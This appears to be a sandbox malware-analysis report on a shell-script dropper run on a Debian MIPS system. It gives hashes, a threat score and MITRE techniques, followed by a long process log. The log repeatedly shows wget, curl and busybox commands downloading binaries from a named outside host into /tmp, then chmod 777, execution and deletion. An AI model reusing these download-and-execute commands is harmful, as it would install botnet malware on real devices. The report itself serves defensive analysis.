f3f7dac7b04028b964c3b4e4936b83a6cd272d590c0ba79e54f9a74361649004

Analysis

max time kernel
113s
max time network
116s
platform
debian-9_mipsel
resource
debian9-mipsel-20240418-en
resource tags

arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
18/11/2024, 02:53

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
f3f7dac7b04028b964c3b4e4936b83a6cd272d590c0ba79e54f9a74361649004.sh
Size 10KB
Sample241118-ddln9swmcw
SHA256 f3f7dac7b04028b964c3b4e4936b83a6cd272d590c0ba79e54f9a74361649004
MD5 e91fd2b1f1e5c7636a5f59c96c00d3dc
SHA1 e39a86140a233631ca5a34a77808687b6f122578
SHA512 02e430595f8f1fb6f86f46a470da6a5462bb0be97dd7cb1bed9b9a2d4e9347c1b9e6f2101f4c564008a7473881430f0ee93480dba13f27ee29bd5850be6184fa
SSDEEP 96:YXr1YNGltt9yKQLMQ6LwsTfL/TtLTXXTSARJApBWHWHGHpcGjiL2P2j2jOgOcOKE:3u7fNnGyO6w1O6pH
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
846	chmod
878	chmod
885	chmod
758	chmod
906	chmod
1004	chmod
997	chmod
789	chmod
825	chmod
834	chmod
913	chmod
934	chmod
941	chmod
990	chmod
765	chmod
892	chmod
899	chmod
948	chmod
969	chmod
1018	chmod
1011	chmod
749	chmod
920	chmod
927	chmod
962	chmod
955	chmod
976	chmod
983	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
785	busybox
1007	wget
764	busybox
802	curl
895	wget
937	wget
947	busybox
979	wget
989	busybox
994	curl
1010	busybox
958	wget
968	busybox
972	wget
982	busybox
1014	wget
753	wget
761	wget
919	busybox
1017	busybox
930	wget
959	curl
980	curl
987	curl
795	wget
831	curl
912	busybox
952	curl
746	busybox
762	curl
773	curl
905	busybox
916	wget
966	curl
871	busybox
888	wget
926	busybox
755	curl
768	wget
884	busybox
896	curl
940	busybox
986	wget
996	busybox
903	curl
973	curl
829	wget
833	busybox
859	curl
881	wget
889	curl
902	wget
931	curl
933	busybox
975	busybox
1015	curl
891	busybox
938	curl
1008	curl
817	busybox
882	curl
910	curl
917	curl
923	wget

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/HB2O2cWtMtNrCc8Bb0FAjxyaBxNyjvFbFh	curl
File opened for modification	/tmp/cW94wUeQKpP3bnc1mz3arl8gJ1qb6oCMq3	curl
File opened for modification	/tmp/HB2O2cWtMtNrCc8Bb0FAjxyaBxNyjvFbFh	curl
File opened for modification	/tmp/wn8TTXnxhubF4y8T7OQXWWIkhLC3ixCUAl	curl
File opened for modification	/tmp/1TrXLRPK4UAUoOvNaQ9gVQPbxFZEXBgI8g	curl
File opened for modification	/tmp/gR7tVwulG8humu64kRs6nMs9lO2G0vCRti	curl
File opened for modification	/tmp/1TrXLRPK4UAUoOvNaQ9gVQPbxFZEXBgI8g	curl
File opened for modification	/tmp/wn8TTXnxhubF4y8T7OQXWWIkhLC3ixCUAl	curl
File opened for modification	/tmp/4o31XdNldelUplJUvTpoq9qDfTCxGT1I0G	curl
File opened for modification	/tmp/BS5hBWooOfDc3xbjLMIiZUaS3yIQlPIvqP	curl
File opened for modification	/tmp/4o31XdNldelUplJUvTpoq9qDfTCxGT1I0G	curl
File opened for modification	/tmp/q0EBSDRJ9HCJ7WAgNP52crJgTHLY1MK2jq	curl
File opened for modification	/tmp/KF7yBUiWOImNhALnzm2V3qFbL2DpUtFMVU	curl
File opened for modification	/tmp/gR7tVwulG8humu64kRs6nMs9lO2G0vCRti	curl
File opened for modification	/tmp/q0EBSDRJ9HCJ7WAgNP52crJgTHLY1MK2jq	curl
File opened for modification	/tmp/32XNpFNsEQXEG94McQ863EKenoyYylBICB	curl
File opened for modification	/tmp/cfNSefsRobr6WTSAYH7WdEXx0itTyWTGJO	curl
File opened for modification	/tmp/KF7yBUiWOImNhALnzm2V3qFbL2DpUtFMVU	curl
File opened for modification	/tmp/cfNSefsRobr6WTSAYH7WdEXx0itTyWTGJO	curl
File opened for modification	/tmp/sOsIjyYb88lWQl4wGtc4g46EqqjzgaF635	curl
File opened for modification	/tmp/zAhU9TWcI0PQznx3iKApqpxqES7uEzy7d0	curl
File opened for modification	/tmp/32XNpFNsEQXEG94McQ863EKenoyYylBICB	curl
File opened for modification	/tmp/sOsIjyYb88lWQl4wGtc4g46EqqjzgaF635	curl
File opened for modification	/tmp/fY8x8pljjJ7JIcYVBSAuxDlUKreXROgkhq	curl
File opened for modification	/tmp/zAhU9TWcI0PQznx3iKApqpxqES7uEzy7d0	curl
File opened for modification	/tmp/fY8x8pljjJ7JIcYVBSAuxDlUKreXROgkhq	curl
File opened for modification	/tmp/cW94wUeQKpP3bnc1mz3arl8gJ1qb6oCMq3	curl
File opened for modification	/tmp/BS5hBWooOfDc3xbjLMIiZUaS3yIQlPIvqP	curl

/tmp/f3f7dac7b04028b964c3b4e4936b83a6cd272d590c0ba79e54f9a74361649004.sh
/tmp/f3f7dac7b04028b964c3b4e4936b83a6cd272d590c0ba79e54f9a74361649004.sh
1⤵
PID:719
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:720
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/HB2O2cWtMtNrCc8Bb0FAjxyaBxNyjvFbFh
  2⤵
  PID:723
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/HB2O2cWtMtNrCc8Bb0FAjxyaBxNyjvFbFh
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:733
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/HB2O2cWtMtNrCc8Bb0FAjxyaBxNyjvFbFh
  2⤵
  - System Network Configuration Discovery
  PID:746
- /bin/chmod
  chmod 777 HB2O2cWtMtNrCc8Bb0FAjxyaBxNyjvFbFh
  2⤵
  - File and Directory Permissions Modification
  PID:749
- /tmp/HB2O2cWtMtNrCc8Bb0FAjxyaBxNyjvFbFh
  ./HB2O2cWtMtNrCc8Bb0FAjxyaBxNyjvFbFh
  2⤵
  - Executes dropped EXE
  PID:750
- /bin/rm
  rm HB2O2cWtMtNrCc8Bb0FAjxyaBxNyjvFbFh
  2⤵
  PID:752
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/q0EBSDRJ9HCJ7WAgNP52crJgTHLY1MK2jq
  2⤵
  - System Network Configuration Discovery
  PID:753
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/q0EBSDRJ9HCJ7WAgNP52crJgTHLY1MK2jq
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:755
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/q0EBSDRJ9HCJ7WAgNP52crJgTHLY1MK2jq
  2⤵
  PID:757
- /bin/chmod
  chmod 777 q0EBSDRJ9HCJ7WAgNP52crJgTHLY1MK2jq
  2⤵
  - File and Directory Permissions Modification
  PID:758
- /tmp/q0EBSDRJ9HCJ7WAgNP52crJgTHLY1MK2jq
  ./q0EBSDRJ9HCJ7WAgNP52crJgTHLY1MK2jq
  2⤵
  - Executes dropped EXE
  PID:759
- /bin/rm
  rm q0EBSDRJ9HCJ7WAgNP52crJgTHLY1MK2jq
  2⤵
  PID:760
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/wn8TTXnxhubF4y8T7OQXWWIkhLC3ixCUAl
  2⤵
  - System Network Configuration Discovery
  PID:761
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/wn8TTXnxhubF4y8T7OQXWWIkhLC3ixCUAl
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:762
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/wn8TTXnxhubF4y8T7OQXWWIkhLC3ixCUAl
  2⤵
  - System Network Configuration Discovery
  PID:764
- /bin/chmod
  chmod 777 wn8TTXnxhubF4y8T7OQXWWIkhLC3ixCUAl
  2⤵
  - File and Directory Permissions Modification
  PID:765
- /tmp/wn8TTXnxhubF4y8T7OQXWWIkhLC3ixCUAl
  ./wn8TTXnxhubF4y8T7OQXWWIkhLC3ixCUAl
  2⤵
  - Executes dropped EXE
  PID:766
- /bin/rm
  rm wn8TTXnxhubF4y8T7OQXWWIkhLC3ixCUAl
  2⤵
  PID:767
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/cfNSefsRobr6WTSAYH7WdEXx0itTyWTGJO
  2⤵
  - System Network Configuration Discovery
  PID:768
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/cfNSefsRobr6WTSAYH7WdEXx0itTyWTGJO
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:773
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/cfNSefsRobr6WTSAYH7WdEXx0itTyWTGJO
  2⤵
  - System Network Configuration Discovery
  PID:785
- /bin/chmod
  chmod 777 cfNSefsRobr6WTSAYH7WdEXx0itTyWTGJO
  2⤵
  - File and Directory Permissions Modification
  PID:789
- /tmp/cfNSefsRobr6WTSAYH7WdEXx0itTyWTGJO
  ./cfNSefsRobr6WTSAYH7WdEXx0itTyWTGJO
  2⤵
  - Executes dropped EXE
  PID:791
- /bin/rm
  rm cfNSefsRobr6WTSAYH7WdEXx0itTyWTGJO
  2⤵
  PID:794
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/sOsIjyYb88lWQl4wGtc4g46EqqjzgaF635
  2⤵
  - System Network Configuration Discovery
  PID:795
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/sOsIjyYb88lWQl4wGtc4g46EqqjzgaF635
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:802
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/sOsIjyYb88lWQl4wGtc4g46EqqjzgaF635
  2⤵
  - System Network Configuration Discovery
  PID:817
- /bin/chmod
  chmod 777 sOsIjyYb88lWQl4wGtc4g46EqqjzgaF635
  2⤵
  - File and Directory Permissions Modification
  PID:825
- /tmp/sOsIjyYb88lWQl4wGtc4g46EqqjzgaF635
  ./sOsIjyYb88lWQl4wGtc4g46EqqjzgaF635
  2⤵
  - Executes dropped EXE
  PID:826
- /bin/rm
  rm sOsIjyYb88lWQl4wGtc4g46EqqjzgaF635
  2⤵
  PID:828
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/fY8x8pljjJ7JIcYVBSAuxDlUKreXROgkhq
  2⤵
  - System Network Configuration Discovery
  PID:829
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/fY8x8pljjJ7JIcYVBSAuxDlUKreXROgkhq
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:831
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/fY8x8pljjJ7JIcYVBSAuxDlUKreXROgkhq
  2⤵
  - System Network Configuration Discovery
  PID:833
- /bin/chmod
  chmod 777 fY8x8pljjJ7JIcYVBSAuxDlUKreXROgkhq
  2⤵
  - File and Directory Permissions Modification
  PID:834
- /tmp/fY8x8pljjJ7JIcYVBSAuxDlUKreXROgkhq
  ./fY8x8pljjJ7JIcYVBSAuxDlUKreXROgkhq
  2⤵
  - Executes dropped EXE
  PID:835
- /bin/rm
  rm fY8x8pljjJ7JIcYVBSAuxDlUKreXROgkhq
  2⤵
  PID:836
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/zAhU9TWcI0PQznx3iKApqpxqES7uEzy7d0
  2⤵
  PID:837
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/zAhU9TWcI0PQznx3iKApqpxqES7uEzy7d0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:838
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/zAhU9TWcI0PQznx3iKApqpxqES7uEzy7d0
  2⤵
  PID:842
- /bin/chmod
  chmod 777 zAhU9TWcI0PQznx3iKApqpxqES7uEzy7d0
  2⤵
  - File and Directory Permissions Modification
  PID:846
- /tmp/zAhU9TWcI0PQznx3iKApqpxqES7uEzy7d0
  ./zAhU9TWcI0PQznx3iKApqpxqES7uEzy7d0
  2⤵
  - Executes dropped EXE
  PID:848
- /bin/rm
  rm zAhU9TWcI0PQznx3iKApqpxqES7uEzy7d0
  2⤵
  PID:851
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/cW94wUeQKpP3bnc1mz3arl8gJ1qb6oCMq3
  2⤵
  PID:852
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/cW94wUeQKpP3bnc1mz3arl8gJ1qb6oCMq3
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:859
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/cW94wUeQKpP3bnc1mz3arl8gJ1qb6oCMq3
  2⤵
  - System Network Configuration Discovery
  PID:871
- /bin/chmod
  chmod 777 cW94wUeQKpP3bnc1mz3arl8gJ1qb6oCMq3
  2⤵
  - File and Directory Permissions Modification
  PID:878
- /tmp/cW94wUeQKpP3bnc1mz3arl8gJ1qb6oCMq3
  ./cW94wUeQKpP3bnc1mz3arl8gJ1qb6oCMq3
  2⤵
  - Executes dropped EXE
  PID:879
- /bin/rm
  rm cW94wUeQKpP3bnc1mz3arl8gJ1qb6oCMq3
  2⤵
  PID:880
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/KF7yBUiWOImNhALnzm2V3qFbL2DpUtFMVU
  2⤵
  - System Network Configuration Discovery
  PID:881
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/KF7yBUiWOImNhALnzm2V3qFbL2DpUtFMVU
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:882
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/KF7yBUiWOImNhALnzm2V3qFbL2DpUtFMVU
  2⤵
  - System Network Configuration Discovery
  PID:884
- /bin/chmod
  chmod 777 KF7yBUiWOImNhALnzm2V3qFbL2DpUtFMVU
  2⤵
  - File and Directory Permissions Modification
  PID:885
- /tmp/KF7yBUiWOImNhALnzm2V3qFbL2DpUtFMVU
  ./KF7yBUiWOImNhALnzm2V3qFbL2DpUtFMVU
  2⤵
  - Executes dropped EXE
  PID:886
- /bin/rm
  rm KF7yBUiWOImNhALnzm2V3qFbL2DpUtFMVU
  2⤵
  PID:887
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/BS5hBWooOfDc3xbjLMIiZUaS3yIQlPIvqP
  2⤵
  - System Network Configuration Discovery
  PID:888
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/BS5hBWooOfDc3xbjLMIiZUaS3yIQlPIvqP
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:889
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/BS5hBWooOfDc3xbjLMIiZUaS3yIQlPIvqP
  2⤵
  - System Network Configuration Discovery
  PID:891
- /bin/chmod
  chmod 777 BS5hBWooOfDc3xbjLMIiZUaS3yIQlPIvqP
  2⤵
  - File and Directory Permissions Modification
  PID:892
- /tmp/BS5hBWooOfDc3xbjLMIiZUaS3yIQlPIvqP
  ./BS5hBWooOfDc3xbjLMIiZUaS3yIQlPIvqP
  2⤵
  - Executes dropped EXE
  PID:893
- /bin/rm
  rm BS5hBWooOfDc3xbjLMIiZUaS3yIQlPIvqP
  2⤵
  PID:894
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/gR7tVwulG8humu64kRs6nMs9lO2G0vCRti
  2⤵
  - System Network Configuration Discovery
  PID:895
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/gR7tVwulG8humu64kRs6nMs9lO2G0vCRti
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:896
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/gR7tVwulG8humu64kRs6nMs9lO2G0vCRti
  2⤵
  PID:898
- /bin/chmod
  chmod 777 gR7tVwulG8humu64kRs6nMs9lO2G0vCRti
  2⤵
  - File and Directory Permissions Modification
  PID:899
- /tmp/gR7tVwulG8humu64kRs6nMs9lO2G0vCRti
  ./gR7tVwulG8humu64kRs6nMs9lO2G0vCRti
  2⤵
  - Executes dropped EXE
  PID:900
- /bin/rm
  rm gR7tVwulG8humu64kRs6nMs9lO2G0vCRti
  2⤵
  PID:901
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/4o31XdNldelUplJUvTpoq9qDfTCxGT1I0G
  2⤵
  - System Network Configuration Discovery
  PID:902
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/4o31XdNldelUplJUvTpoq9qDfTCxGT1I0G
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:903
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/4o31XdNldelUplJUvTpoq9qDfTCxGT1I0G
  2⤵
  - System Network Configuration Discovery
  PID:905
- /bin/chmod
  chmod 777 4o31XdNldelUplJUvTpoq9qDfTCxGT1I0G
  2⤵
  - File and Directory Permissions Modification
  PID:906
- /tmp/4o31XdNldelUplJUvTpoq9qDfTCxGT1I0G
  ./4o31XdNldelUplJUvTpoq9qDfTCxGT1I0G
  2⤵
  - Executes dropped EXE
  PID:907
- /bin/rm
  rm 4o31XdNldelUplJUvTpoq9qDfTCxGT1I0G
  2⤵
  PID:908
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/1TrXLRPK4UAUoOvNaQ9gVQPbxFZEXBgI8g
  2⤵
  PID:909
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/1TrXLRPK4UAUoOvNaQ9gVQPbxFZEXBgI8g
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:910
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/1TrXLRPK4UAUoOvNaQ9gVQPbxFZEXBgI8g
  2⤵
  - System Network Configuration Discovery
  PID:912
- /bin/chmod
  chmod 777 1TrXLRPK4UAUoOvNaQ9gVQPbxFZEXBgI8g
  2⤵
  - File and Directory Permissions Modification
  PID:913
- /tmp/1TrXLRPK4UAUoOvNaQ9gVQPbxFZEXBgI8g
  ./1TrXLRPK4UAUoOvNaQ9gVQPbxFZEXBgI8g
  2⤵
  - Executes dropped EXE
  PID:914
- /bin/rm
  rm 1TrXLRPK4UAUoOvNaQ9gVQPbxFZEXBgI8g
  2⤵
  PID:915
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/32XNpFNsEQXEG94McQ863EKenoyYylBICB
  2⤵
  - System Network Configuration Discovery
  PID:916
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/32XNpFNsEQXEG94McQ863EKenoyYylBICB
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:917
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/32XNpFNsEQXEG94McQ863EKenoyYylBICB
  2⤵
  - System Network Configuration Discovery
  PID:919
- /bin/chmod
  chmod 777 32XNpFNsEQXEG94McQ863EKenoyYylBICB
  2⤵
  - File and Directory Permissions Modification
  PID:920
- /tmp/32XNpFNsEQXEG94McQ863EKenoyYylBICB
  ./32XNpFNsEQXEG94McQ863EKenoyYylBICB
  2⤵
  - Executes dropped EXE
  PID:921
- /bin/rm
  rm 32XNpFNsEQXEG94McQ863EKenoyYylBICB
  2⤵
  PID:922
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/BS5hBWooOfDc3xbjLMIiZUaS3yIQlPIvqP
  2⤵
  - System Network Configuration Discovery
  PID:923
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/BS5hBWooOfDc3xbjLMIiZUaS3yIQlPIvqP
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:924
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/BS5hBWooOfDc3xbjLMIiZUaS3yIQlPIvqP
  2⤵
  - System Network Configuration Discovery
  PID:926
- /bin/chmod
  chmod 777 BS5hBWooOfDc3xbjLMIiZUaS3yIQlPIvqP
  2⤵
  - File and Directory Permissions Modification
  PID:927
- /tmp/BS5hBWooOfDc3xbjLMIiZUaS3yIQlPIvqP
  ./BS5hBWooOfDc3xbjLMIiZUaS3yIQlPIvqP
  2⤵
  - Executes dropped EXE
  PID:928
- /bin/rm
  rm BS5hBWooOfDc3xbjLMIiZUaS3yIQlPIvqP
  2⤵
  PID:929
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/gR7tVwulG8humu64kRs6nMs9lO2G0vCRti
  2⤵
  - System Network Configuration Discovery
  PID:930
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/gR7tVwulG8humu64kRs6nMs9lO2G0vCRti
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:931
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/gR7tVwulG8humu64kRs6nMs9lO2G0vCRti
  2⤵
  - System Network Configuration Discovery
  PID:933
- /bin/chmod
  chmod 777 gR7tVwulG8humu64kRs6nMs9lO2G0vCRti
  2⤵
  - File and Directory Permissions Modification
  PID:934
- /tmp/gR7tVwulG8humu64kRs6nMs9lO2G0vCRti
  ./gR7tVwulG8humu64kRs6nMs9lO2G0vCRti
  2⤵
  - Executes dropped EXE
  PID:935
- /bin/rm
  rm gR7tVwulG8humu64kRs6nMs9lO2G0vCRti
  2⤵
  PID:936
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/4o31XdNldelUplJUvTpoq9qDfTCxGT1I0G
  2⤵
  - System Network Configuration Discovery
  PID:937
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/4o31XdNldelUplJUvTpoq9qDfTCxGT1I0G
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:938
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/4o31XdNldelUplJUvTpoq9qDfTCxGT1I0G
  2⤵
  - System Network Configuration Discovery
  PID:940
- /bin/chmod
  chmod 777 4o31XdNldelUplJUvTpoq9qDfTCxGT1I0G
  2⤵
  - File and Directory Permissions Modification
  PID:941
- /tmp/4o31XdNldelUplJUvTpoq9qDfTCxGT1I0G
  ./4o31XdNldelUplJUvTpoq9qDfTCxGT1I0G
  2⤵
  - Executes dropped EXE
  PID:942
- /bin/rm
  rm 4o31XdNldelUplJUvTpoq9qDfTCxGT1I0G
  2⤵
  PID:943
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/1TrXLRPK4UAUoOvNaQ9gVQPbxFZEXBgI8g
  2⤵
  PID:944
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/1TrXLRPK4UAUoOvNaQ9gVQPbxFZEXBgI8g
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:945
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/1TrXLRPK4UAUoOvNaQ9gVQPbxFZEXBgI8g
  2⤵
  - System Network Configuration Discovery
  PID:947
- /bin/chmod
  chmod 777 1TrXLRPK4UAUoOvNaQ9gVQPbxFZEXBgI8g
  2⤵
  - File and Directory Permissions Modification
  PID:948
- /tmp/1TrXLRPK4UAUoOvNaQ9gVQPbxFZEXBgI8g
  ./1TrXLRPK4UAUoOvNaQ9gVQPbxFZEXBgI8g
  2⤵
  - Executes dropped EXE
  PID:949
- /bin/rm
  rm 1TrXLRPK4UAUoOvNaQ9gVQPbxFZEXBgI8g
  2⤵
  PID:950
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/32XNpFNsEQXEG94McQ863EKenoyYylBICB
  2⤵
  PID:951
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/32XNpFNsEQXEG94McQ863EKenoyYylBICB
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:952
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/32XNpFNsEQXEG94McQ863EKenoyYylBICB
  2⤵
  PID:954
- /bin/chmod
  chmod 777 32XNpFNsEQXEG94McQ863EKenoyYylBICB
  2⤵
  - File and Directory Permissions Modification
  PID:955
- /tmp/32XNpFNsEQXEG94McQ863EKenoyYylBICB
  ./32XNpFNsEQXEG94McQ863EKenoyYylBICB
  2⤵
  - Executes dropped EXE
  PID:956
- /bin/rm
  rm 32XNpFNsEQXEG94McQ863EKenoyYylBICB
  2⤵
  PID:957
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/HB2O2cWtMtNrCc8Bb0FAjxyaBxNyjvFbFh
  2⤵
  - System Network Configuration Discovery
  PID:958
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/HB2O2cWtMtNrCc8Bb0FAjxyaBxNyjvFbFh
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:959
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/HB2O2cWtMtNrCc8Bb0FAjxyaBxNyjvFbFh
  2⤵
  PID:961
- /bin/chmod
  chmod 777 HB2O2cWtMtNrCc8Bb0FAjxyaBxNyjvFbFh
  2⤵
  - File and Directory Permissions Modification
  PID:962
- /tmp/HB2O2cWtMtNrCc8Bb0FAjxyaBxNyjvFbFh
  ./HB2O2cWtMtNrCc8Bb0FAjxyaBxNyjvFbFh
  2⤵
  - Executes dropped EXE
  PID:963
- /bin/rm
  rm HB2O2cWtMtNrCc8Bb0FAjxyaBxNyjvFbFh
  2⤵
  PID:964
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/q0EBSDRJ9HCJ7WAgNP52crJgTHLY1MK2jq
  2⤵
  PID:965
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/q0EBSDRJ9HCJ7WAgNP52crJgTHLY1MK2jq
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:966
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/q0EBSDRJ9HCJ7WAgNP52crJgTHLY1MK2jq
  2⤵
  - System Network Configuration Discovery
  PID:968
- /bin/chmod
  chmod 777 q0EBSDRJ9HCJ7WAgNP52crJgTHLY1MK2jq
  2⤵
  - File and Directory Permissions Modification
  PID:969
- /tmp/q0EBSDRJ9HCJ7WAgNP52crJgTHLY1MK2jq
  ./q0EBSDRJ9HCJ7WAgNP52crJgTHLY1MK2jq
  2⤵
  - Executes dropped EXE
  PID:970
- /bin/rm
  rm q0EBSDRJ9HCJ7WAgNP52crJgTHLY1MK2jq
  2⤵
  PID:971
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/wn8TTXnxhubF4y8T7OQXWWIkhLC3ixCUAl
  2⤵
  - System Network Configuration Discovery
  PID:972
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/wn8TTXnxhubF4y8T7OQXWWIkhLC3ixCUAl
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:973
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/wn8TTXnxhubF4y8T7OQXWWIkhLC3ixCUAl
  2⤵
  - System Network Configuration Discovery
  PID:975
- /bin/chmod
  chmod 777 wn8TTXnxhubF4y8T7OQXWWIkhLC3ixCUAl
  2⤵
  - File and Directory Permissions Modification
  PID:976
- /tmp/wn8TTXnxhubF4y8T7OQXWWIkhLC3ixCUAl
  ./wn8TTXnxhubF4y8T7OQXWWIkhLC3ixCUAl
  2⤵
